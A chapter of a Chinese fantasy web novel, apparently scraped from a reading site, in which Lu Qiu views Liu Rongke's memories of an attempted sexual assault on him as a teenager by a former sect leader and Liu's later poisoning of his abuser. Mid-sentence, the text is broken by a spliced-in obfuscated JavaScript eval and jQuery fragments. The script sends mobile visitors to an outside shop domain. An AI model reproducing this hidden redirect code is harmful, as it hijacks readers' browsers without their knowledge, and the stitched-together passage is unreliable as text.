20. 合作(2)
    再醒来的时候,陆秋是被疼醒的,他下意识的摸上脖颈,那里像是吹了一夜风又落枕那样疼。

    他的手还没放上去多久,就感到又有只冰凉的手贴了上来,捏了几下后疼痛也慢慢消失了,陆秋此时困得还没睁开的眼突然瞪大了,并朝手探来的方向看了过去,就这么和一双竖瞳直直对视上了。

    “你!”陆秋压低了声音,吓得用手臂撑着从床上坐起来,警惕的看看那还在睡梦中的三人,又看看窗外甚至还没泛白的天色,最后看向坐在他床头的柳容柯,皱眉低声斥责他:“你做什么?现在天都没亮呢。”

    “那有什么关系?”柳容柯把陆秋的枕头拿起来放在床头立着,还给他拍了两下,调整好形状让他靠着:“他们又醒不来。”

    “醒不来?”陆秋靠在枕头上,不解的看着柳容柯。

    “对啊,中迷药了。”

    “哪里来的迷药?”陆秋下意识掩鼻。

    看他这副模样,柳容柯笑道:“不在空气中,你大可放心。”

    “那是什么会有迷药?”他放下手,怀疑的眼神又放到柳容柯身上。

    “也不是我。”对方凭空拿出了个木匣子,在陆秋眼前晃了两下,陆秋立刻就明白是什么东西:“鱼肉有问题?”

    “对了一半。”他把木匣子放到陆秋手心,让他打开看看。陆秋也没有怀疑他,毫无防备的打开,被里面的生肉吓得一抖。虽然没有血,但仅是那股腥味就足以令人作呕,他下意识想扔掉,但柳容柯在旁边看着,他还不能表现的太明显,只好僵硬的将盒子关上。

    “你从哪弄来的?”陆秋不看他,双眼只是盯着盒子表面。

    “猜猜?”

    “后厨?”

    “接近。”柳容柯把盒子拿走,拉着陆秋的手腕,给他系上一圈红绳。陆秋不知道他要做什么,感到对方并无恶意,也就没有反抗。但等红绳系好,他只觉得身体一轻,就被柳容柯一手拉了起来,飘在空中。这时柳容柯迅速俯下身去,接住了陆秋向后仰的身体。陆秋飘在空中看着柳容柯把自己的身体缓缓放到床上躺平,意识到自己是离体了,才着急起来:“你在做什么!”

    柳容柯没有回答他,只是竖起食指抵在唇上,让他噤声。随后拉着红线,带陆秋从窗户飞了出去。陆秋也不能让主动权只在他的手中,于是同样拉住了柳容柯翻飞的袖子,防止对方将他扔下。

    两人很快飞到了一号楼,在陆秋不明所以之时,就见柳容柯像唤狗那样啧了几声,一只黄色的灵兽就窜了出来。那灵兽长得十分讨喜,毛绒绒的,而且身子圆滚滚的,看着手感就很好。不过下一刻那灵兽就用一种大爷的语气开始骂骂咧咧了:“你个挨千刀的,这么晚了还来大爷这儿干什么!”

    现在不讨喜了。陆秋皱眉看着那只灵兽,就见柳容柯一个箭步上去又像抓鸡那样一把拎住对方的后脖颈,不管它怎么挣扎,直接往陆秋面前一放,把它死死摁在地上,语气轻柔的说道:“瞪大你的眼,看看你认识他吗?”

    陆秋还在奇怪怎么回事,那只灵兽就炸了毛:“你!你是那家伙的崽子!”

    那家伙?陆秋愣了一下才反应过来,眼前这个不是一号楼值班人还能是谁?他爹以前是和这灵兽结下过梁子的。他用一种清澈的眼神看向柳容柯,对方则偷偷的向他传音:“威逼利诱。”

    陆秋立刻开始歪嘴冷笑,学着陆夕月那种吊儿郎当的模样:“呵,对啊。”他双手抱胸,冲它挑眉:“不服气?要不要我再揍你一顿,让你感受一下。”

    “你俩就是一个模子刻出来的蠢货!”它张牙舞爪的,但被柳容柯压得动弹不得,只有一张嘴可以动,就不断进行精神攻击。

    陆秋不知道陆夕月多少消息,只能装得自己什么都知道了,来套二号楼值班人的话。

    “还在这闹啊?掌门都要换了,猜猜是谁会被留下,谁会被换走?”陆秋眯眼发动心法,去探知它的情绪。

    “你想说什么!”它警惕的盯着陆秋:“你一个毛头小子,还能掀起什么风浪?”

    “三角区云氏知道么?”他揉揉太阳穴,感受着它略带惊恐的情绪开始乱编:“我们是盟友。”

    “我怎么没听说?”很明显,这家伙不信,陆秋又试图圆回来:“呵,你个蠢货,我家族家大业大,推选一个掌门还是绰绰有余的,而且和云氏合作,好处也不少。”

    “你还想做什么。”它开始瑟瑟发抖,看着是信了,但陆秋从中并没有感知到恐惧,只有浓浓的怀疑和不屑。

    装得挺像。陆秋和柳容柯传音。

    再诈。柳容柯回答十分简略。

    “你还记不记得,我娘是从哪来的?”陆秋说完这句,一丝恐惧情绪才飘到他的脑海中,看来滨水宗和落霞宗的关系已经不仅仅是不好可以形容的了,他沉默着,看似胜券在握,其实已经不知道再说什么了。

    柳容柯看出他此时的顾虑,用另一只空闲的手拉过陆秋系着红绳的手,轻轻贴在自己心口处,说道:“主人,既然已经告知完毕,您也该回去休息了。”

    陆秋心底一惊,不知他在搞什么,但柳容柯比他更快:“配合我。”

    陆秋也只好闭眼假装疲惫,轻轻点头道:“走吧。”

    “你!”那只类真的惊了,看着二人不由破口大骂:“好你个黄毛小子,当年主人都没收下的叫你赶上了!”

    “赶上什么?”陆秋起疑,突然想到这只类的主人是前掌门,他被柳容柯握住的手不由一紧,听那家伙继续骂道:“你凭什么!□□吗?我主子长得可比你好的多!”

    接着他转向柳容柯,大有一种都骂个遍的气势:“原来你喜欢小的?人家看着也没成年吧?无耻!”

    还没骂完,柳容柯又迅速把它摁在地上,让它吃了一嘴灰,语气中也带上了威胁:“当年那畜生威胁我的时候,我也没成年吧?”

    类还想再说什么,但一张嘴就是一嘴灰,这地板都要让它舔干净了,只好唔唔的表示不服气。

    陆秋这时被牵着的手也不知道该放在哪了,他莫名有些不敢去看柳容柯,因为他一直觉得这些事情离他很远,远到只能从别人口中听说。

    那时他可以轻飘飘的说冤有头债有主,报仇就是,但此时受害者就在他面前,请求他的帮助,反而让他不知所措了。要怪就怪这心法,柳容柯的部分恨意就足以摧毁他的心理防线,这时柳容柯又将他的手贴到自己的额头上,低声问道:“要看吗?”

    “看什么?”陆秋感觉眼睛干涩,疼痛也像锥子那样一下下的刺进太阳穴。

    “看我的回忆。”柳容柯轻声说道:“别怕,你看到的只是我的回忆。”

    陆秋看见周身场景立刻变换成了,滨水宗主楼的模样,一位白发妖修立在大门前,缓缓转了过来。确实如那只类所说,前掌门有张十分妖艳的一张脸,五官精致,看着就很赏心悦目。

    只是那双眼睛看着侵略性极强,会有时刻受到监视的感觉。

    陆秋与他遥遥对望,见前掌门招了招手,说道:“过来。”

    他没有动,只见一位和他差不多高的少年走了过去,定睛一看,和柳容柯长得十分相似,只是当时五官还没有现在成熟,脸上也有一些肉,不像现在这样瘦削。本来是个美好的开始,阳光正好,春暖花开,妖力高强的师父与天赋极高的徒弟,怎么都该有一段佳话,但没有多久,就在二人一同进了大门,而门缓缓合上之时,陆秋才品出了一丝危机感。

    场景又变幻成了夜晚,此时他在屋中,仔细观察一下周围,应该是五号楼的一楼,而少年柳容柯坐在桌前正擦拭着一把雕有黑蛇的匕首,烛火映在他脸上,照得他也有了一丝人气来。

    这种温馨并没有持续多久,听到有敲门声,柳容柯放下匕首,前去开门。陆秋心底感到不妙,起身想拦住

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395938|141174||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他,但发现自己只是虚体,柳容柯直接穿过了自己,前去开门。门外是喝得醉醺醺的前掌门,见柳容柯开门,不由笑得更欢。

    看着前掌门的笑,陆秋只觉后背的汗毛都竖了起来,他看起来已经神志不清了,整张脸与脖子都是充了血的红,还有严重的水肿。果然在下一刻,前掌门突然用力抱上了柳容柯,不管柳容柯怎么挣扎想要推开他,就直接向前将人扑在了桌面上,开始在他身上乱摸。柳容柯后背磕到了还没有收起的匕首,被深深割出一道口,也就是被压在桌上挣扎时,血液开始不断涌出。可能是挣扎起了效果,或是血液起了作用,匕首向下移到了他能拿到的地方。

    柳容柯果断拿起匕首向前掌门身上刺去,他此刻明显想不到刺哪里会更有用,只是被吓到了,只要能击退对方,刺哪里都可以。

    被冷不丁刺一下,前掌门下意识就用妖力将人弹飞出去。也是运气好,那天太过闷热,柳容柯并没有关窗,所以这一弹就把他从窗户甩了出去,摔在外面的草丛中。他不管后背的疼痛,将身上被扯得凌乱的衣服紧紧抓住,裹着就向其他楼跑去。

    陆秋见状也迅速翻窗跟了上去,此时夜深,除了柳容柯跑步与喘息的声音就再无其他动静,在跑得上气不接下气的时候,两个人影出现在了前方。

    柳容柯及时停下了,但陆秋并没有反应过来,被绊倒摔在那两人前面,他抬头借着月光看去,正是月下私会的陆夕月与秋络。他撑着上半身朝柳容柯看去,发现他还是害怕的,此时心也提到了嗓子眼,接下来陆夕月和秋络怎么做,是以后柳容柯怎么对自己的映照。

    好在二人反应很快,在前掌门赶到前就把人带走了,就连气息都掩盖住了。

    陆秋还想再看看他们到底说了什么,但场景又换了,换成了前掌门卧病在床奄奄一息,而柳容柯端着一碗汤药,坐在床边轻声哄道:“师父,喝了药再睡。”

    陆秋上前查看汤药,闻到里面一股十分浓烈的气味,他绝对没记错,那是自己竹马平时会用的一种毒,会导致人的五感慢慢丧失,最终变成废人,看起来就像是修为不足而导致的自然死亡。

    这下便想通了,他们之间的恩怨,接下来应该就是重头戏——成为值班人。

    面前是一座地牢,中间盘着一条巨蟒,巨蟒的鳞片被拔得惨不忍睹,而负责拔鳞的人将鳞片拔下送出去,就不再管巨蟒的死活。感觉也奇怪,这巨蟒就像失了魂一样,无论怎样都不动。

    陆秋仔细观察周围,想确定方位,但这里只是漆黑一片,没有任何参考,他只好跟着拔鳞的人穿过长廊,来到地上。

    “你为什么留下?”陆秋不解的自言自语。他并没看见自愿的成分,也不清楚到底是什么情况能让他情愿成为值班人。

    最后一幕定格到药房,然后回忆就像碎片那样,随风消散了。陆秋一时反应不过来,怔怔地看着柳容柯,一旁的类不知道用了什么法子安静下来了,此刻只有风声,两人对望,只余凄凉。

    “你为什么要当值班人?”陆秋感觉声音都有些颤抖,他这时唾弃自己的自私,害怕是因为陆夕月与秋络而连累了柳容柯。

    “我的东西被藏起来了。”柳容柯将腰带松了松,露出心口那一大块新鲜的伤口:“我最重要的一片鳞片被藏起来了。”

    伤口看着十分新鲜,完全没有愈合的趋势,陆秋不敢碰,问道:“不能愈合吗?”

    “能愈合,但是不能愈合。”柳容柯解释:“如果愈合了,我的鳞片就再也安不回来了。”

    “那你就……让它一直保持这样吗?”陆秋轻轻摸上伤口边缘,发现还有血液蹭到了手上,又僵硬的收了回来。

    “是的,是这样的。”柳容柯笑着握住他收回的手,他的眼睛很亮,像是盛满了星光,但仔细看去才知道那是泪光,这次贴上脸颊,不知是不是在做戏给那只类看,说道:“主人,救我吧。”